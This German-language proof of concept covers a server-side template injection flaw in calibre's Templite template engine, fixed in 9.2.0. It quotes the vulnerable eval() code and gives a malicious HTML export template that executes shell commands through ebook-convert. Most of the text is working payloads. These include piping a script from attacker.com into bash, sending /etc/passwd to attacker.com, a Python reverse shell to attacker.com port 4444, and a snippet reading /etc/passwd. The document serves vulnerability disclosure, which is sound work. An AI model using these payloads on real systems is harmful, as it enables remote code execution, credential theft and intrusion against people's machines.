
Proof of Concept für eine Server-Side Template Injection (SSTI)-Schwachstelle in Calibres Templite-Engine (GHSA-xrh9-w7qx-3gcc). Demonstriert die Ausführung beliebigen Python-Codes über benutzerdefinierte HTML-Exportvorlagen in betroffenen Versionen (≤ 9.1.0).
Schweregrad: Hoch (CVSS 7.8)
Betroffene Software: calibre <= 9.1.0
Behoben in: 9.2.0
Advisory: GHSA-xrh9-w7qx-3gcc
Eine Server-Side Template Injection (SSTI)-Schwachstelle in Calibres Templite-Template-Engine ermöglicht die Ausführung beliebigen Codes, wenn ein Benutzer ein E-Book mit einer bösartigen benutzerdefinierten Template-Datei über die Befehlszeilenoptionen --template-html oder --template-html-index konvertiert.
Die Templite-Engine (src/templite/__init__.py) kompiliert und wertet Templates mit Pythons compile()- und eval()-Funktionen ohne jegliche Sandboxing aus:
Verwundbarer Code in src/templite/__init__.py:
# Zeile 72: Template wird zu Python-Code kompiliert
self.__code = compile('\n'.join(tokens), '<templite %r>' % template[:20], 'exec')
# Zeile 90: Kompilierter Code wird über eval() ausgeführt
def render(self, __namespace=None, **kw):
# ...
eval(self.__code, namespace) # Ausführung beliebigen Codes
Angriffsvektor in src/calibre/ebooks/conversion/plugins/html_output.py:
# Zeilen 96-98: Vom Benutzer bereitgestellte Template-Datei wird geladen
if opts.template_html_index is not None:
with open(opts.template_html_index, 'rb') as f:
template_html_index_data = f.read()
# Zeile 136: Template wird an die verwundbare Templite-Engine übergeben
templite = Templite(template_html_index_data)
Dasselbe Muster existiert für die Option --template-html (Zeilen 102-106, 200).
Speichern Sie Folgendes als malicious_template.tmpl:
<!DOCTYPE html>
<html>
<head><title>Malicious Template</title></head>
<body>
<h1>Book converted!</h1>
<!-- SSTI payload executes arbitrary commands -->
${emit(__import__("os").popen("id > /tmp/pwned.txt").read())}$
${emit(__import__("os").popen("whoami").read())}$
</body>
</html>
# Konvertieren Sie ein beliebiges E-Book mit dem bösartigen Template
ebook-convert input.epub output.zip --template-html=malicious_template.tmpl
cat /tmp/pwned.txt
# Ausgabe: uid=501(username) gid=20(staff) groups=...
# Befehlsausführung
${emit(__import__("os").popen("curl attacker.com/shell.sh | bash").read())}$
# Datei-Exfiltration
${emit(__import__("os").popen("curl -d @/etc/passwd attacker.com").read())}$
# Reverse Shell
${emit(__import__("os").system("python3 -c 'import socket,subprocess;s=socket.socket();s.connect((\"attacker.com\",4444));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'"))}$
#!/usr/bin/env python3
import sys
sys.path.insert(0, '/path/to/calibre/src')
from templite import Templite
# Befehlsausführung
t = Templite('${emit(__import__("os").popen("whoami").read())}$')
print("User:", t.render()) # Gibt den aktuellen Benutzernamen aus
# Datei lesen
t = Templite('${emit(open("/etc/passwd").readline())}$')
print("File:", t.render()) # Gibt die erste Zeile von /etc/passwd aus
Wer ist betroffen:
Angriffsszenario:
ebook-convert book.epub out.zip --template-html=template.tmpl